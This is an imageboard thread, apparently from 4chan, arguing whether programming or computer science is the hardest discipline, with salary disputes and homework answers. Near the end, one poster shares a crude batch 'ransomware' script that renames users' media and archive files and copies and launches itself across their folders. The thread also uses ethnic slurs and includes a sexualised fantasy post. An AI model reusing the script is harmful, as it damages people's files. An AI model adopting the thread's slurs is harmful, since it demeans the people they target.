Programming is the most difficult trade. Software Engineering

Physics, anyone?

not a trade, not engineering, not science

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No

t. Electrical Engineer

>>60428095
Medicine. You need to fix bugs and don't even have access to the source code.

>>60428112

t. sociology student

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>>60428112
Programming is a job, so it's a trade.
Software engineering is a form of engineering (solving practical problems) by means of computers and programming.
Computer Science is not a "Natural Science" as it does not involve answering some question about the working of the universe we live in.

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>>6042852
It absolutely does answer questions about the universe we live in, it reveals fundamental properties of time and space when related to action. The study of algorithms has nothing to do with these little boxes we cram full of transistors and call "computers." Computer Science is a fundamental "hard" science.

It's easy as shit (when you have a natural understanding of it).

>>60428075
Lol no. Even Indian code monkeys call themselves software engineers nowadays.

>>60428856
I can call myself the King of Norway, it won't make me one.

>>60428075
So True

>>60428075
hep-theory leaves even math grads clueless

>>60429132
>hep-theory

Heap theory?

>>60428925

If (true) So();

>>60429659
Theoretical physics. Arxiv is old as fuck, don't you read research?

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>>60428075
John Carmack:
> Rocket science is pretty easy and straight forward

PHYSICISTS & ENGINEERS BTFO

>>60428075
Computer Science is not a science. It's a branch of Mathematics.

>>60429821
>It's a branch of Mathematics.
Which is a science, but not a natural science obviously.

>>60428075
Possibly. I found my cs classes the most difficult because they're not really based on anything I have already learned. Whereas with my ee classes they build upon the calculus and physics classes I've been taking my whole life.

Why are engineers so butt mad about computer scientists? I remember one going on a Facebook rant about "software engineers"

If computer science is so easy can anyone answer the first question on my homework?

Define the non-regular language L = {w ∈ {a, b, c}∗ | w ̸= wR }. Describe a context-free grammar G such that L(G) = L. Try hard to make your grammar as succinct as possible and explain your construction. (Note that for example ab ∈ L, but λ and b are not elements of L.)

>>60429985
dude i just learned how to write software, what the fuck is all this math shit passed off as "computing"?

>>60428529
Computer science is a formal science like mathematics is.

>>60428733
MIS master race, ended up getting involved with SAP software and holla holla make dolla as I bridge the gap between the business and IT/programmers.

>>60430008
That's the "science" in "computer science".
You are barely a software engineer.

>>60429944
They're pissed that their supposedly harder discipline barely has jobs and doesn't pay as much.

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Thank you for posting this thread, pajeet

>>60429985
Did your prof define R as anything special. I don't recall R being a well defined thing in computational theory.

>>60428769
> natural understanding of an entirely human-made abstraction
No.

Programming is pathetically easy today. Why'd you think poos become programmers?

>>60430064
>human-made abstraction
Some would consider mathematics as something we discover and not something we invent.
It's still disputed in computer science which one is true, but computer scientists work on finding the answer.

>>60429985
L = C | T
C = KC | K
K = a|b|c
T = R

>>60428123
The only reason electrical engineering is hard is because the tooling sucks so bad.

>Good luck with your dosbox
>have fun with this shady proprietary program nobody develops anymore
>who needs keyboard shortcuts anyway
>vhdl syntax kek

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Well let's see.

Requirements to get good at programming:
1. A computer.
2. Internet.
3. A chair and a table.
4. A few books.

Requirements to get good at any and all sciences involving matter and hardware:
1. A computer.
2. Internet.
3. A chair and a table.
4. A few books.
5. An experiment lab.
6. Countless costly resources to train on/with
(metals, minerals, organic matter, chemicals, liquids, etc.)
7. Countless refinement and manipulation tools including replacements from wear and tear, whether whole or parts (drill bits as an example).
8. Shitloads of varied fieldwork to reverse-engineer other people's projects with limited available time and chances to comprehend them, compared to a software-developer who does the same from any computer with unlimited time and access to learn.

Pic related: OP and the software field.

>>60430246
I like how you brag about the horrible working conditions in other fields. How this would relate to the difficulty of the field surely goes beyond logic.

"computer engineering" is much more lucrative because you can make it a hobby and improve in your free time while in other fields you stop learning after you leave school and you need to be extorted into furthering your education because tech advances and your knowledge doesn't.

>>60430318
Brag?
There's no emotional involvement in stating facts.
You can always change your working conditions as a programmer and work from wherever to meet your quotas and work procedures.

Everyone else doesn't have this privilege.

You can politely kill yourself for being so stupid now.

>>60428075
>Software Engineering is the most difficult engineering.

Well, it can be very time-consuming (as OP's story shows). But it's usually not difficult.

That was the general conclusion I came to after 25 years in software engineering. I rarely had "hard" problems to solve. It was mostly just lots of things that needed to be organized and developed, and once things were broken down into individual pieces, each piece was pretty easy to do. It didn't take long before I figured out the most important rule: spend the time it takes to get the organization of the code right -- that effort will always pay off in the end.

To be honest, all of the "hard" things were really just those things that were outside of my control. For example, we encountered a bug in GTK+ that prevented us from cleanly disconnecting and reconnecting the remote X stream across a IP-over-USB connection -- something that was a product requirement. It took no time at all to write a little 20-line program that demonstrated the GTK+ bug. But to even diagnose it, we had to become friggin' experts on the low level internals of the way GTK+ interfaces with X for the TCP socket, and then we had to hunt around and hope we could come up with a work-around that didn't require us to have to build our own GTK+ library from source. It was a huge amount of learning and investigating to just fix one stupid bug. (And by "stupid" I'm referring to the GTK+ developers who didn't bother testing if the underlying TCP sockets could be closed cleanly and robustly without hanging the app.)

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>>60428075
>Software Engineering is the most difficult engineering.
>Computer Science is the most difficult science.

HAHAHAHAHHAHAHAHAHAHAHAHA, no.

>>60428714
This

>>60430823
I really just ordered this book because of you

>>60428075

who the fuck studies CS and Physics at the same time? you are no elvis, yeah youre no fucking jesus

>>60428135
Also 4 billion years of technical debt and no programming tools, you have to bootstrap everything yourself

>>60428075
>Software Engineering
There is no such thing as Software Engineering.
There is a bunch of fraudsters teaching in certain universities and selling books that do not solve much.

>>60430064
I meant a natural talent for it.

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>>60428075

>>60430363
Clearly you're sore that computer scientists have better working conditions. This has absolutely nothing to do with how difficult one field or another is.

>>60431474
It pretty much does since everyone else needs to spend 10 times the time and 100 times the money to become good.

Just an average chem student wastes time learning and doing additional steps in cleaning the chem equipment after working with it, using additional neutralizing chemicals,
and each and every task costs money.

Because of this, the software field is now treated as a cattle industry, its average salary continuously decreasing over the past 2 decades thanks to over-saturation, while other fields are always in demand due to how much expenditure is required to develop the specialists.

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>>60431567
Nice bullshit
http://money.usnews.com/careers/best-jobs/software-developer/salary

The problem with programming is that there are lots of little details and pitfalls that can eat up a ton of time in debugging if you don't know what you're doing.

I took a Math elective during my CS degree that I spent tons of time on mostly because proofs that would be obvious to a Math major were not obvious to me, because I didn't know some postulate that the professor expected everyone to know from some previous course.

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>>60431656
Meanwhile 1 western software developer is being replaced by at least 2 or 3 Indians/Muslims/Asians for the same salary, distributed among more hands, which is sound from a business and economic standpoint and supported by management who realize the lack of effort and cost required in developing programmers compared to other fields.

Your stats mean nothing to me as all stats these days are created by the same companies doing the above, as a bait tactic.

You can try your bullshit on anyone else on this board, but i've already seen enough from my Business Management experience.
Frankly anon, i love that you have aspirations to treat a field as infallible because it only makes the marketing and manipulation easier.

>>60428075
The real problem with programming is everyone in the industry is so beta they let the SJW's come in and steamroll them with "muh womyn" and "muh peoples of color" when most of the charges of rampant sexism and racism are blatantly false. Everyone with 2 brain cells to bang together knows if there is a "problem", it's in the pipeline. Roomfulls of sweaty nerds would love for more women to get involved but are obviously resistant to lower the requirements just to get some warm bodies.

And on and on..

>>60431102
>posts image
>not copypasta
I hate you

>>60430038
boy, your facebook post disguised as a shitpost really showed me, andrew!

>>60430053
>>60429985
Not the one posing the original question, but I believe wR is supposed to mean w^R, that is, w reversed. So w is a palindrome.

>>60428187
>TFW when you actually use programming languages for your sociological research
>TFW freshmen explain to you that sociology is a pseudo-science

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>>60428095
Physic here.

>>60432080
>andrew

?

>>60429985
>IF COMPSCI IS SO EASY THEN SOLVE THIS XDD
>Provides literal second year undergraduate level problem
You really showed them bro!

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>>60428123
No

t. Chemical engineer

>>60430823
That """"egg"""" always grosses me out

>>60428075
Controls engineering (GNC not industrial) is deffinitly harder.

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>programmers have been getting shittier and shittier on average over the years, reflecting in general software everywhere
I think this is reason enough to lower the average salary of software developers.

>programmers are the cheapest to train and produce among the STEM fields
I think this is reason enough to lower the average salary of software developers.

>we can replace 1 programmer with a few 3rd world programmers for the same salary distributed among them, and train them easily to the level we want and need
I think this is reason enough to lower the average salary of software developers.

>market now oversaturated with programmers
As they say, when you have too much of something, LOWER THE SALARY

>the software field is filled with losers, autists, nerds, virgins, people with mental problems by majority
These kinds of people shouldn't be given too much money.
Lower
the
average
salary

>>60429985
A = aAb | aAc | bAa | bAc | cAa | cAb | ε

>>60428135
also you can lose you job and license for a single runtime error

>>60433006
computer bugs don't kill people
unless they're in a medical equipment firmware, but i'm sure people are highly vetted and code is fuzzed out the ass before it gets burned onto ICs.

>>60428529
> Programming is a job so it's a trade
> What millennials tell themselves so they don't feel like such shut in pussies
So I reckon being a Walmart associate is a trade to, huh. But it's not, and neither it programming - it's simply just a job. Welding is a trade, it's manual labor yet requires special training and years to get perfect at. Trade jobs usually make quite a bit better than than regular unskilled labor. Hell, I know folks on mainlines making doctors salaries ( upwards 160,000 a year) that never graduated high school.

>>60431723
>make up statistic as argument
>argument shown as flaming bullshit
>ignores mistake, shifts point, throw more flaming bullshit
Dude...

>>60428135
The antivirus tools are pretty outdated too.

>>60433145
Why do uneducated blue collar brainlets lose their shit whenever they get reminded that you can work a trade without breaking your back?

Cooking is a trade too, I don't see you bitching about millennials doing it.

>>60433165
>made up statistic
More like followed basic principles of economics.
Also your statistic sheet has no background or validity, as doesn't the party behind it.

>>60430140
Verilog and vhdl languages in general are fucking awful holy shit

>>60433192
Just let it go man, goddamn.

>>60428075
>Programming is the most grindy and annoying trade.
fix't

>>60433215
Let go of what?
I'm not the one getting replaced by poos
and being treated as cheap labor.

Even web developers used to be paid skyhigh in the late 90's. Now they are wage slaves barely managing.

>>60433145
Why on Earth do you think that hard manual labor is a necessity for soemthing to be a "trade"?

Wouldn't it make more sense to say that a trade is based on skills acquired from specific training so that the definition includes any kind of technician?

How can I get my company to hire someone to work with me / that i can delegate tasks to?

I am doing a lot of data analytics work (from the base infrastructure to the report out to senior management) and I am running short of bandwidth to do everything.

I figure the main options are
1. Make a business case to show the value of hiring someone to do things
2. Simply tell people when they make a request that it's "not in scope" for the project at the moment but "is possible with the right resources"

Of course they're not going to do it just because I ask

>>60430038
As a math graduate that eventually got into CS, did my masters and PhD in computer graphics, I can tell you that is total and complete bullshit. Computer science is hard as fuck. And I am not not talking about "muh Javascript, muh ruby".
I am talking about its core which is algorithm design.

I'm sure everyone back a few hundred years ago thought scribes and people capable of reading/writing were fucking geniuses of the highest order.

That's the situation programmers are in right now. Everyone thinks this shit is hard and elusive because only a few people bother with it. But in a few decades (perhaps even sooner) everyone will know how to program in some degree and the idea of a separate job dedicated to programming will be washed away.

>>60433363
No, i'm sure the working poor had a deep seated resentiment of the scribes and mathmaticians who have never worked hard labor in their life and you could tell because their hands weren't calloused and cracked.

>>60433188
> Uneducated
Okay, so I know the definition, and I'm pretty sure what you're insinuating. But broadly covering every subject one could be educated by referring to someone as uneducated makes you sound like you have nothing to actually say, so you throw out a weak attempt of an insult. Electricians don't break their backs, nor do most welders or diesel mechanics.
> Cooking is a trade
So they teach that in a trade school? Or would that be taught at a culinary institute? Cooking is a skill and being a chef is a chef.

> tl;dr this phone has a screen and I can watch TV shows on it, so it's a television. Definitions don't matter when I need to be right.

>>60433318
>Computer science is hard as fuck
Yeah, because you start learning it backward. After starting from "muh Javascript, muh ruby" learning theory is easy.

Computer Engineers always made fun of software engineers for taking the 'easy' route at my school.

>>60433245
Manual labor doesn't necessarily mean 'hard labor'. Hard labor would be driving rail road spikes all day - shut the mind off and work hard for little pay because anyone can do it. Skilled labor is a metal fabricator, yes there is physical labor involved but you also need a good understanding trigonometry, geometry and algebra and know how to apply it to satisfy a customers wants (and the pay is a hell of a lot better)

>>60433192
Source of my statistic: usnews.com
Source of your statistic: "Because i say so!!"
Complaining about sources: you

How ironic

>>60433542
Lol, you sound just all the idiots that failed out of the theoretical comp sci class I just too
You have no idea what you're talking about.

>>60434548
Source of your statistic: One of the 90% false statistics in the world funded by interests.
Source of my statistics: Economics which argues that over-saturation and cheaper production leads to decrease in value, thereby worth, thereby salary.

You think the world can afford to pay high wages to a field filled with ever-increasing millions of idiots equal to the wages it paid to a very scarce population of programmers who actually knew their shit way back when computers were costly and becoming a programmer required great investment?

Where do you think money comes from? Your ass?
You will it therefore money magically appears?
Idiot.

>>60434833
>pro-tip
>programmers are intelligent when it comes to code
>they are reduced to idiots when it comes to economics
>to them, any stat is a valid stat so long as it has a nicely drawn graph and the correct professional-sounding wording associated with it
>only those who studied business and economics understand stats are a scam

>>60428075
>wrong
pure theoretical math is the hardest science and computer science is just its sploog

>>60435135
But theoretical computer science is also just pure math.

>>60434833
https://techcrunch.com/2015/06/09/software-is-eating-the-job-market/

In 2011, Netscape and Andreessen Horowitz co-founder Marc Andreessen coined the phrase “software is eating the world” in anarticleoutlining his hypothesis that economic value was increasingly being captured by software-focused businesses disrupting a wide range of industry sectors.Nearly four years later, it is fascinating that around 1 in every 20 open job postings in the U.S. job market relates to software development/engineering.

http://www.infoworld.com/article/2615882/it-jobs/demand-for-software-engineers-keeps-climbing----and-so-do-the-salaries.html
Demand for software engineers keeps climbing -- and so do the salaries

A hot job market for software engineers is driving up salaries, with the biggest paychecks earned in California


http://www.computerworld.com/article/2502348/it-management/it-jobs-will-grow-22--through-2020--says-u-s-.html
IT jobs will grow 22% through 2020, says U.S.

Biennial update says offshoring will limit growth in some occupations, while healthcare IT provides a boost

>>60432826
Can anyone confirm whether this is right, and whether there is a more elegant solution to it. I picked the most obvious.
I'm concerned that since I graduated I've become a degenerate drunkard wageslave.

>>60428714

All your algorithms are related to turing machines which are what the computer is you fucking retard. Computer Science is not a natural science,

>>60435268
>hypothesis
>projections by the same people who projected a Hillary 99% win
>one site which is know to have funded interests

Noice.
Meanwhile in the real world with real programmers, i hear them and see them constantly whining about unfair salaries, outsourcing butthurt, replacements, decreasing salaries, too much competition, and see their salaries grow smaller and smaller on paper (actual work documents and not some online scam stats).

The only place on the Internet i see people arguing that programming is increasing its salaries are ironically threads glorifying programming, made by aspiring children who were told things about programming and think them true.
Are you one of those children anon?

>>60430024

I make 145k a year and i graduated from a 3 month javascript coding bootcamp 2 years ago(Hack Reactor).

Enjoy being a "scientist" lmao

Being a mother is the most difficult job.

>>60433188
Honestly I used to work with welders (now a software engineer) and I wouldn't call them uneducated or brainlets. Maybe they're not versed in the classics or whatever, but most good welders understand things intuitively about metallurgy and materials science that engineers will only get after years of studying (obviously in a more formalized, rigorous way but still)

>>60435357
>>projections by the same people who projected a Hillary 99% win
Why do all these Trumptards assume that every academic is the same person and then go on to substitute critical thinking with their own belligerent, anecdotal evidence? PROTIP: What you read on 4chan and /pol/ isn't "the real world"

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>>60435376
>living on the worst coast

>>60435497
Protip: Europeans don't care about Trump.
But i did enjoy setting up a segue bait so you would change topic when you realized you were retarded and needed to read an economics book for once in your life.

>>60435407
Being YOUR mother was probably the worst job in the world

>>60435526
I'm not even the same guy but it seems like you're convinced that programmers don't make a lot of money because of some trolling on /g/ (outsourcing has largely reversed in tech sectors except for low-skill helpdesk jobs and if you actually had any first-hand experience in tech you'd know this)

Just get a grip my friend and go outside and actually talk to people instead of basing your anecdotal data on the hysterical doom-and-gloom you read on 4chan

>>60435516

I work remote

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>>60428075
No
t. Computer Science

Quantum Physics looks way harder
Quantum fucking Physics

>>60435357
Beyond your endless bullshit claims can you provide ONE SINGLE SOURCE ffs

>>60435602
Of course i'm convinced since i read real world documents and speak to programmers.
Actual programmers, not some aspiring /g/ kiddie who shitposts in sock threads.

My friend, i'm sorry your field is so easy to take advantage of. It's your fault for speaking too well of programming and baiting an unsustainable overflow of idiots, most of whose software will never see the light of day or the light of an install button.
Alas.

>>60435732
>i read real world documents
i.e. you browse /pol/ where everyone tells you about pajeet and circlejerks you into becoming an HVAC repairman or something

got it

>>60435376
Zimbabwean dollars don't count.

>>60428135
Probably objectively true.

>>60428135
Fuck code. Algorithms man. I get nightmares about proofs and time complexities.

Also, recursion is black magic and should be banned.

>>60428075
>Computer 'Science'

The human brain is the most complex object in the known universe. A computer is basically a filing cabinet.

>>60430038
>Posting an image of words, with some of them outlined makes them true.

>>60435376
Rupees don't count

Computer "Scientists" don't have to try to account for hidden variables like the real scientists

>>60428075
Unlike mathematics or physics where your goal is to publish peer reviewed studies, programming's end product is primarily a commercial one. Your ultimate goal as a programmer is to maximize your time investment and effort. If your job is more difficult than that of a particle physicist, you're doing your job wrong and wasting your effort. Having to work with ancient codebases that ARE more complex than particle physics is your failure as a programmer, not the field in general.

>>60436170
>what is theoretical computer science
go away, you're comparing apples and oranges

>>60436217
Mathematics. Designing a hashing algorithm is what a mathematician does, implementing it is what a programmer does.

>>60435357
>anecdotes are better than statistics
>the political orientation of the people making the statistics is relevant
>ad hominems
Dude, please just stop posting. You're embarassing yourself.

>>60436311
good luck doing any serious computer science research without programming ability

>>60428095
Yeah boyy

>>60436333
That's like saying "good luck doing any serious physics without knowing how to write". No shit. It doesn't make programming as hard as the scientific research you do, you're just using it as a tool like you would algebra, or the English language.

>>60436330
Due, please train your Indian replacements properly.

>>60428714
the irony of attached.jpg is bill nye is genuinely retarded.
And actually so are you, that thing you talk about is called "physics" "computer science" is just that, science for computers, the bits of hard science which can be applied to computing.
I rappreciated your descrpition of a computer, it was eloquent of you to say transistors *tips fedora*
Fuking autist.

>>60436378
I actually agree, it's just weird to see them treated as mutually exclusive. Most people with PhDs and M.Scs in computer science will be pretty fucking good programmers.

>>60433145
So, by your reckoning, anyone can sit down and program. It takes no "special training" like welding. Also, experience is no benefit? A programmer who just started is just as good and productive as one who's been doing it for decades?

>>60435357
Are there non-scam salary stats online?

No.

t. Computer Engineer

>>60436755
Yes.
They are called .gov sites.

>>60431567
No you're missing the point. Barriers to entry of a field don't make the concepts any more or less difficult to master.
A good rebuttal would be for me to say computer science is harder because I can't afford to rent time on a supercomputer. It makes no difference to the science.

Credit system for universities are fundementally broken.
Prove me wrong.

>>60436830
>Barriers to entry of a field don't make the concepts any more or less difficult to master.
They do. It's called time management and financial investment.
You waste less time and money mastering the field as a programmer.
You waste more time and money (on resources and ordinance) as any other field.

A good programmer costs multitudes of times less to train than any expert in material science whether it be organic or inorganic.
A good programmer is trained faster because the hoops they have to go through are resolved with a few clicks and typed words, while others have to relocate constantly and travel because a Civil Engineer for instance can't divulge shit from pictures or Internet communications, but requires on-sight presence to feel all the details with all his senses about a design/project/construct.

>>60434743
Learn English before you learn programming, friend.

>>60434901
>100% of /g/ posts are shitposts

There is a stat for you.

>>60435407
>Obvious hookshit

Tasty

>>60429905
Yep. This it.

If they thaught programming when you were like 10, then most people would be quite decent at it.

>>60435678
"Quantum" physics is a meme. It's a sophomore / junior level class.

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>study 5-8 hours a day to become an engineer and hopefully make 6 figures right after graduation
>meanwhile turbo virgin autist that I know just "took a break" to go work for a major company and is already making that much with only 3 years of CS education under his blet
>mfw

This is why I support work visas.

>>60437090
Anon, you're talking about the "introduction to quantum physics".

>>60437149
You're studying useless theoretical shit 5-8 hours a day and the turbo virgin autist studied something useful in meanwhile. Thus he has a job and you have more useless theoretical shit to study.

>>60437191
I'm an Engineering Physics major, the class I took was called Modern Physics I and II. We used books by Bransden, Liboff, and Gasiorowicz. The only other QM class was graduate level, which isn't part of the curriculum.

In my opinion, I think analytical mechanics was much harder.

>>60437215
It shouldn't be that way though. That guy is a fucking C student. Were he in any other field no one would even be looking at him. We need open borders for software engineers.

>>60437304
uh you will get crushed far harder in an 'open borders' situation than he will, just saying. Talk about cutting off your nose to spite your face.

>>60437149
>study whatever math or science or engineering field you want
>take couple of CS courses in between
>learn C++ and Python, make a GitHub with a couple cool projects
>have the flexibility to fall back into SWE job if necessary
das it mane

>>60437149
>study 5-8 hours a day to become an engineer
You only study? No wonder you are a useless retard.
Get a related job where you can apply that you dumb shit.
Also you don't need 5-8 hours a day.
4 hours suffices while the rest can be practical application whether via job or garage.

Nothing worse than faggots who only know how to study, but don't know shit about why they are studying and what for.

>implying any form of engineering can compete with the nightmare of compromises that is aerospace engineering

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>>60436918
So becoming a civil engineer is more difficult than becoming a software engineer?

>>60437401
This. You can learn more languages with time, but just pick a couple ones that are for different situations like C/C++ and Python and just show you can actually use them. Simple shit.

>>60437552
Yes.
Welcome to the world where you have to move your body a lot, travel a lot,
use tools a lot because your senses of hearing and sight and touch are not enough,
be responsible for lives being lost if anything goes wrong with anything you do,
and having to be involved directly with 50 other engineers because the Internet and the phone won't fucking cut it due to the nature of the projects.

>>60437618
Oh. And i also forgot following strict regulations which constitute a whole fucking book, otherwise you get fined in the best case scenario or put in jail in the worst case scenario, while having to deal with various inspectors and regulators.

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>ITT: My degrees is better than your degree and here is why...

Days change, but shitposting never does.

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>>60429684
>>>/r/python

>>60433542
>After starting from "muh Javascript, muh ruby" learning theory is easy.
Are you retarded? CS theory doesn't even involve any code or programming language. It's just math.

>>60435331
It almost generates a subset of L: L is the set of all the non-palindrome strings of {a, b, c}, whereas L(your G) is the set of all strings with even length of {a, b, c} for which all antipodal elements are different. Since λ is valid according to your grammar, it is not even a valid partial solution.

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Robotics

>>60433277
You don't

The moment you touch this topic you'll be replaced on the spot by a team of pajeets that as a whole charge as much as you by yourself

>>60436311
You're a retard. Designing a hashing algorithm is the practice of a computer scientist. It's the fucking study of computation which entails designing algorithms. If you designed a hashing algorithm you did the work of a CS, which by nature involves the use of math. Actually implementing it into code is completely secondary and you could say it has next to nothing to do actually do with the principle of computer science, you're just applying it i.e. acting as an engineer.

>>60428075
The Legendary Dennis Ritchie:

"I was born Sept. 9, 1941 in Bronxville, N.Y., and received Bachelor's and advanced degrees from Harvard University, where as an undergraduate I concentrated in Physics and as a graduate student in Applied Mathematics. The subject of my 1968 doctoral thesis was subrecursive hierarchies of functions.

My undergraduate experience convinced me that I was not smart enough to be a physicist, and that computers were quite neat. My graduate school experience convinced me that I was not smart enough to be an expert in the theory of algorithms and also that I liked procedural languages better than functional ones."

Physics > Computer Science in terms of difficulty. Physics also teaches you how to think, which is what enabled Dennis Ritchie to go on to help build the best programming language (C) and the best OS (UNIX) ever.

>>60428075
>physics student takes software engineering course with no previous programming experience
Well no shit. Even a CS student would fail software engineering if it was the first class they were taught in CS and had no previous experience. Software engineering courses are predominantly based on teaching development strategies to aid in your programming. They rarely teach you any programming whatsoever because it's usually an entry requirement.

>>60429985
Thanks for convincing me not to get a master's in CS.

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>>60437291
That's because you haven't seen shit.
>Problems having analytical solutions
>problems having analytical solutions which hold within decent approximations
how fucking cute

>>60428075
Fucking kek.

>Programming is the most difficult trade.
Industrial construction is more difficult (physically, and also in terms of threat to one's life).
Prostitution is more difficult (emotionally).
Several other things are more difficult in various respects.
Programming is ONE of the most difficult trades MENTALLY. I can't with any certainty say it's not THE most difficult, but to say it IS seems quite arrogant.

>Software Engineering is the most difficult engineering.
See above. Mechanical engineering is considerably more difficult, especially concerning things that are very big and might squash you.

>Computer Science is the most difficult science.
See above.

>Prove me wrong.
just did

>>60437752
>>60429985

G = aGa | bGb | cGc | bHa | aHb | bHc | cHb | aHc | cHa
H = λ | aH | bH | cH

>>60437741
>It's just math
"Math" is a broad term, my little student.

>>60429985
>he thinks the level of intellectual challenge presented by a particular trade is a decent measure of how hard it is
Fucking fatty.

>>60430246
>Requirements to get good at any and all sciences involving matter and hardware:
>1. A computer.
>2. Internet.
>3. A chair and a table.
>4. A few books.
>5. An experiment lab.
>6. Countless costly resources to train on/with
>(metals, minerals, organic matter, chemicals, liquids, etc.)
>7. Countless refinement and manipulation tools including replacements from wear and tear, whether whole or parts (drill bits as an example).
>8. Shitloads of varied fieldwork to reverse-engineer other people's projects with limited available time and chances to comprehend them, compared to a software-developer who does the same from any computer with unlimited time and access to learn.


Stay mad cuck. Your ignorance is obvious. I have experiment labs, countless resources (costly in some cases) to train on/with, countless refinement and manipulation tools and have done shitloads of varied fieldwork to reverse-engineer tons of projects with limited available time.

>>60429985
>Answer discrete math questions if programming is so easy!

>>60430823

You are now imagining being a cute nerdy girl in your bedroom one night and suddenly you lay the egg pictured on that book cover, feeling the edges of the numbers tickle and scratch your labia as you push it out, feeling the weight of all the mathematical knowledge it contains. Once you're done, you realize that egg contained your knowledge and skill of mathematics, and you are now a simple-minded bimbo who has to drop out of your Masters in pure and applied math to become a strip club dancer and a prostitute. And the funniest thing is, you've never been happier.

>>60430010
MATH ISNT A SCIENCE REEEEEEEEEEEEEEEE

>>60433104
Are you fucking stupid
You are

>>60438122
Hello ShindoL

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>>60438137
this is why I hate the english language sometimes. Incompetent shit like this.

>>60428075
The most difficult trade is being a brickie, because those fuckers have trouble not killing themselves from the misery.

As far as technical difficulty goes, I would rate programming as being at the same difficulty level as being a sprinkler fitter.

>>60428900
But you can still live in the delusion that you are

>>60437618
Again, you are not getting the point. Let's put it like this, computer science is more difficult because you need to be smarter to be successful. The concepts are orders of magnitude more difficult to grasp than anything civil engineering can throw at you. You are describing difficulties of the job which require things like patience and communication with colleagues, not intelligence.

>>60428733
Wew if CS is the most applied of the three, why is it a 'science'?

>>60438197
The actually useful parts of CS are easy as fuck though.

>>60430021
>>60428733
MIS guys make all the dough around here for half the effort in uni

How can all the clearly very smart people in this thread be so stupid as to assume that whether or not programming is intellectually challenging has ANYTHING to do with whether or not it's the "most difficult" trade?

Programming is easy.

I don't care how many lambdas, brackets, and Greek letters you can stuff into your pants.

It's easy.

I'm not saying it's simple. It sure isn't. It's complicated and requires a lot of dedication to learn.

I maintain, nonetheless,
that it's easy.

Because at the end of the day, what is programming?

You sit in a chair in front of a screen and type.

That's what you do for a living.

That's not "difficult." I've taken WALKS more difficult than that.

"Difficult" is carrying heavy boxes for a living.

"Difficult" is turning cranks for a living.

"Difficult" is risking your life every day at the top of a huge incomplete building just so one day people like YOU can sit their fat asses down in there and type at computers.

"Difficult" is raising three kids at minimum wage.

Fuck all y'all.

>>60438230
I agree with you. That's where people get confused, it's not hard to write a decent program.

>>60438237
clearly the english language was too "Difficult" for you. fucking retard

>>60438231
Yeah, I've already jumped the CS ship. IT you can make a ton of dough and if you're good, you can do whatever you want all day since when everything is running smoothly, you're doing your job. Haven't had to do a proof or time complexity once. Life is decent, bro.

>>60438286
>not capitalizing "clearly"
>not capitalizing "English"
>capitalizing "difficult"
>not capitalizing "fucking"
>no period after "retard"
Yeah, okay, buddy.

yup

>>60438237
You're right--It is difficult being dumb and limited to manual labor. You're actually proud of this too.

Mind blown.jpg

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>>60438237
difficult (for somebody) (to do something):
not easy; needing effort or skill to do or to understand
--OALD.

You clearly laid out what you deem "difficult", and I certainly understand. But it's just not what that word means. And you don't get to redefine that word to make you feel more important.
Furthermore, no. Just because your labor is physical and your life sucks does not mean you contribute any more to society than your run-of-the-mill scientist or programmer.

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Can someone help me? I don't understand why this isn't working.

If your wondering what it is, im trying to make a very low budget "ransomware" via batch. Since I don't want to go to federal prison>I dont care to infect anyone. Im doing it for the sake of doing it.

>code is in the comments.

help

>>60438340
I'm not dumb, though. Programming is my hobby. I just can't get a job in it because I have no education. I have no education because I can't afford one, and I haven't been able to land a job that pays well enough to help me save up for one precisely because I don't have one.

(
echo rename *.mp3 *.grux
echo rename *.mp4 *.grux
echo rename *.mpa *.grux
echo rename *.ogg *.grux
echo rename *.wav *.grux
echo rename *.wma *.grux
echo rename *.rar *.grux
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)>1121.bat

>>60428123
Yep, electrical engineering because like a real men we know mechanics, computer sciences and chemistrym currently working on a autonomous electrical car and for God's sake how much did i have to learn

>>60438321
I'm not the one getting basic definitions wrong, brain dead nigger ape.

>>60430085
>Some would consider mathematics as something we discover and not something we invent
who the fuck thinks this

copy 1121.bat C:\Users\%username%\Pictures
copy 1121.bat C:\Users\%username%\Documents
copy 1121.bat C:\Users\%username%\Downloads
copy 1121.bat C:\Users\%username%\Videos
copy 1121.bat C:\Users\%username%\Music
copy 1121.bat D:\Users\%username%\Pictures
copy 1121.bat D:\Users\%username%\Documents
copy 1121.bat D:\Users\%username%\Downloads
copy 1121.bat D:\Users\%username%\Videos
copy 1121.bat D:\Users\%username%\Music

start C:\Users\%username%\Documents\1121.bat
start C:\Users\%username%\pictures\1121.bat
start C:\Users\%username%\downloads\1121.bat
start C:\Users\%username%\music\1121.bat
start C:\Users\%username%\desktop\1121.bat
start D:\Users\%username%\Documents\1121.bat
start D:\Users\%username%\pictures\1121.bat
start D:\Users\%username%\downloads\1121.bat
start D:\Users\%username%\music\1121.bat
start D:\Users\%username%\desktop\1121.bat

>>60432491
Still a pseudo science even if you use code

>>60438120
Programming at any decent level is abstracted discrete math, dumbass.

>>60438197
>computer science is more difficult because you need to be smarter to be successful
Being smarter to be successful applies to all fields equally. Computer Science doesn't stand out in this aspect.

Let's take you for example. You would never survive in Metallurgy like i can, because you lack the intelligence for it, or rather you lack the drive and interest for it like me.
You are incapable of mentally developing a certain feeling for it or a certain comprehension for it, because it is not your interest. In difficulty, metallurgy is more difficult for you than it is for me, while CS
is more difficult for me than it is for you.

In the same manner, surgery is maybe impossible for you no matter how intelligent you are, because you lack the eye-hand coordination and your nervous system may not be as developed and steady and preserved as other people. Same goes for welding and watch building and other tasks requiring certain monumental physical talents to excel.

You can spend months studying chem and still be a dumbfuck compared to me studying it for equal amount of months out of interest,
because you are studying for the sake of looking intelligent, while i am studying to develop ideas which go somewhere.

>>60438403
why, it makes sense. Think of it in a stargate sort of manner. The axioms are your coordinates, and the world you visit is the logical connections and implications spanned by them

>>60438172
That is not a problem of English. That is a problem of people misusing English. Anything looks bad when people do not use it properly.

>>60438478
>Invent an unrelated example to prove a point and still fail to actually prove anything

Good job. Your mommy is very proud.

>>60438487
It does correspond to a canonical definition of the word. I'd even say the primary definition. The more abstract one is (sadly) secondary.

>>60438478
In many stories, they created the stargate, so even that example is painfully retarded. BY your logic, we must be discovering hammers, nails, and saws as well. They are all things that logically work for their task, so they obviously were discovered! I cannot believe there are inbreeds that believe this.

Are we just gonna ignore the fact that the only argument OP is providing to say CS is harder is that some stupid physics students couldn't keep up with a CS course?
Well, my uni is filled with CS students who can't even get through Calculus. I guess math is the hardest degree. Wew.

>>60438536
Secondary does not and has never meant "lesser" or of less value. Most definitions are ordered by popularity if anything. Other times, the ordering is arbitrary. All definitions are definitions regardless of order and should be treated as such.

>>60428075

